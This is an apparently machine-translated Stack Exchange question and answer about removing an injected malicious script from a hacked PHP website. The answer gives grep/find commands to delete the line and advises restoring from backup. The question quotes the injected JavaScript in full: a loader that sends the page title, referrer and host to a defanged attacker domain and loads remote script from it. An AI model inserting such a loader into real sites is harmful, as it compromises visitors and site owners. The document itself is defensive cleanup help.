
我的網站被駭客攻擊/感染。我替換了惡意連結的 URL,但惡意腳本中的其他元素仍然導致我的網站被封鎖。在不插入一百個左右「轉義符」的情況下,如何從我網站上的 3 打檔案中刪除以下腳本?
< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>
stack-exchange 上的其他頁面沒有回答這個問題。
為了用 xxxx_hack_was_here 等替換惡意網址,我使用了:
find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +
答案1
首先我同意樓上的評論:請勿用於sed
從被駭客攻擊中恢復。 你總會想知道你是否錯過了什麼。從備份中恢復,期間。
但是,您提出的字面問題,即如何在不轉義每個特殊字元的情況下刪除出現的所有長字串,在某種程度上更容易處理。
我從你的問題中做出一些推論/假設,但你實際上並沒有直接說明:
- 要刪除的字串是單行。
- 每次發生都是一樣的。
- 它需要是已刪除,沒有用其他東西代替。
如果上述假設正確,請執行以下操作:
- 將要刪除的字串(包括任何尾隨空格)單獨放入一個檔案中,稱為例如
hackline.txt
.把這一層多於您要處理的目錄。 複製整個目錄以防出現錯誤。
cp -a mydir mydircopy
在您的目錄(或副本)上執行以下循環以刪除 hackline 的所有實例:
cd mydir for f in *; do [ -f "$f" ] && [ -r "$f" ] || continue grep -vxFf ../hackline.txt "$f" > "$f.fixed" && mv -- "$f.fixed" "$f" done
這裡的概念是,您將其用作hackline.txt
必須匹配整行的固定字串列表,然後grep
僅用於獲取符合以下條件的行:不匹配該字串列表。
-x
意思是「整條線」;-F
表示「固定字串,而不是正規表示式」;-v
反轉搜尋;-f
接受文件中的模式清單。
如果您的網站目錄是分層的而不是扁平的(這實際上很有可能),您可以使用find
而不是 for 循環:
find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;
然後使用遞歸diff
來檢查一切是否都應如此:
diff -r mydircopy mydir